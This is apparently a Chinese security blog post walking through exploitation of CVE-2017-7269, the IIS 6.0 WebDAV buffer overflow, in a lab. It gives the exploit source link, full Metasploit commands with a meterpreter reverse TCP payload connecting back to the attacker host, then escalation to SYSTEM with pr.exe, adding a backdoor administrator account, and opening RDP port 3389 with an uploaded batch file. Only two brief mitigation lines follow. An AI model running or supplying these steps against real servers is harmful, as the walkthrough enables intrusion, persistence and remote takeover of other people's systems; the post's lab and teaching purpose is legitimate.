IIS - 远程代码执行漏洞

2019-11-20 11:18:50 浏览数 (1)

漏洞知识库

网络安全/渗透测试/代码审计/

关注

IIS - 远程代码执行漏洞

漏洞说明

开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对Windows Server 2003 R2可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞

环境搭建

必须确保Kali Linux 和 Windows 2003 能够相互Ping通,IIS6.0,必须开启了WebDAV

代码语言:javascript复制
Windows Server 2003 R2 32位 作为服务器 (IIS6.0,开启了WebDAV)
Kali Linux 作为攻击主机

在这里,我用到的网络连接方式是NET模式:用于共享主机的IP地址

Kali Linux 的 IP是:192.168.119.136

Windows 2003 的 IP是:192.168.119.134

准备工具

下载cve-2017-7269漏洞利用脚本

IIS代码执行脚本 - cve-2017-7269:https://github.com/zcgonvh/cve-2017-7269

下载好了,吧exp复制到kali的这个目录下:

/usr/share/metasploit-framework/modules/exploits/windows/iis

漏洞复现

代码语言:javascript复制
启动Metasploit
msfconsole

使用cve-2017-7269这个攻击载荷
use exploit/windows/iis/cve-2017-7269

查看有哪些参数需要设置
show options
代码语言:javascript复制
设置被攻击者(windows_2003)的IP
set RHOST 192.168.119.134

设置服务器的地址(Windows_2003)
set HttpHost 192.168.119.134

设置Kali的IP地址
set LHOST 192.168.119.136

设置Payload返回载荷
set payload windows/meterpreter/reverse_tcp

设置完之后就可以看到我们设置的参数:

代码语言:javascript复制
msf exploit(windows/iis/cve-2017-7269) > show options

Module options (exploit/windows/iis/cve-2017-7269):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HttpHost            192.168.119.134  yes       http host for target
   PhysicalPathLength  19               yes       length of physical path for target(include backslash)
   RHOST               192.168.119.134  yes       The target address
   RPORT               80               yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.136  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2

设置完之后,我们就可以使用命令:exploit

代码语言:javascript复制
msf exploit(windows/iis/cve-2017-7269) > exploit

[*] Started reverse TCP handler on 192.168.119.136:4444
[*] Sending stage (179779 bytes) to 192.168.119.134
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.119.136:4444 -> 192.168.119.134:1031) at 2019-08-03 14:14:40  0800

meterpreter >

这个时候就可以执行shell命令了~

代码语言:javascript复制
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2044 created.
Channel 2 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

c:windowssystem32inetsrv>

查看当前的权限:whoami

代码语言:javascript复制
c:windowssystem32inetsrv>whoami
whoami
nt authoritynetwork service

c:windowssystem32inetsrv>

network service是一个一般用户的权限

提权操作

使用MetasploitWindows-2003进行提权:

用到pr.exe提权exp

首先使用shell命令看看能不能创建文件夹:

代码语言:javascript复制
c:windowssystem32inetsrv>md 123
md 123
拒绝访问。

很显然不能,那么我们切换到C盘下再试试:

代码语言:javascript复制
C:>md 123
md 123

C:>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C: 的目录

2019-08-05  13:42    <DIR>          123
2019-08-03  12:18                 0 AUTOEXEC.BAT
2019-08-03  12:18                 0 CONFIG.SYS
2019-08-03  12:22    <DIR>          Documents and Settings
2019-08-03  14:02    <DIR>          Inetpub
2019-08-03  12:23    <DIR>          Program Files
2019-08-03  14:02    <DIR>          WINDOWS
2019-08-03  12:18    <DIR>          wmpub
               2 个文件              0 字节
               6 个目录 22,927,130,624 可用字节

C:>whoami
whoami
nt authoritynetwork service

C:>

这个时候是可以创建文件夹123,但是权限还是很小,只是一个服务器权限。

我们回到会话窗口:exit

使用upload命令在home目录上传pr.exe提权exp文件到2003服务器的C:\123目录下:

代码语言:javascript复制
 : /home/pr.exe -> c:123
[*] uploaded   : /home/pr.exe -> c:123pr.exe
meterpreter >

meterpreter提示上传成功!我们切换到shell会话C盘下的123目录,看看pr.exe是否上传成功:

代码语言:javascript复制
C:123>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C:123 的目录

2019-08-05  13:47    <DIR>          .
2019-08-05  13:47    <DIR>          ..
2019-08-05  13:47            73,728 pr.exe
               1 个文件         73,728 字节
               2 个目录 22,927,056,896 可用字节

C:123>

成功上传pr.exe文件!我们首先执行一下whoami看看当前权限:

代码语言:javascript复制
C:123>whoami
whoami
nt authoritynetwork service

权限很小!我们用pr.exe执行whoami看看:

代码语言:javascript复制
C:123>pr.exe whoami
pr.exe whoami
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
nt authoritysystem

这个时候就是一个系统管理权限:nt authoritysystem!

创建一个用户并提升为超级管理员权限

代码语言:javascript复制
C:123>pr.exe "net user liuwx liuwx123abc /add"
pr.exe "net user liuwx liuwx123abc /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:123>

liuwx用户添加进管理员组:

代码语言:javascript复制
C:123>pr.exe "net localgroup administrators liuwx /add"
pr.exe "net localgroup administrators liuwx /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:123>

由于我们已经添加了一个超级管理员的账号,这个时候我们要使用刚刚创建的账号进行远程登录它的那台服务器,前提是对方服务器开启了3389端口.

开启3389登录服务器

查看当前端口开放情况:

netstat -an

代码语言:javascript复制
c:windowssystem32inetsrv>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1046   192.168.119.136:4444   ESTABLISHED
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*

c:windowssystem32inetsrv>

从上面可以看到,它没有开放3389端口!我们是不能够进行远程链接到2003主机的。

这个时候就要用到3389批处理工具:

3389.bat文件上传到c:\123目录中:

代码语言:javascript复制
meterpreter > upload '/home/3389.bat' c:\123
[*] uploading  : /home/3389.bat -> c:123
[*] uploaded   : /home/3389.bat -> c:1233389.bat
meterpreter >

成功上传!这个时候,我们就需要用3389这个提权工具开启远程服务器的3389端口:

代码语言:javascript复制
C:123>pr.exe 3389.bat
pr.exe 3389.bat
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 2640
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!


提示你:3389已经开启


C:123>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*
本机的IP是192.168.119.134

C:123>

这个时候,服务器的3389服务就已经被开启了!

这个就是整个提权的一个过程,包括成功的登陆到远程服务器!

漏洞防御

1、关闭WebDAV服务

2、使用相关防护设备

0 人点赞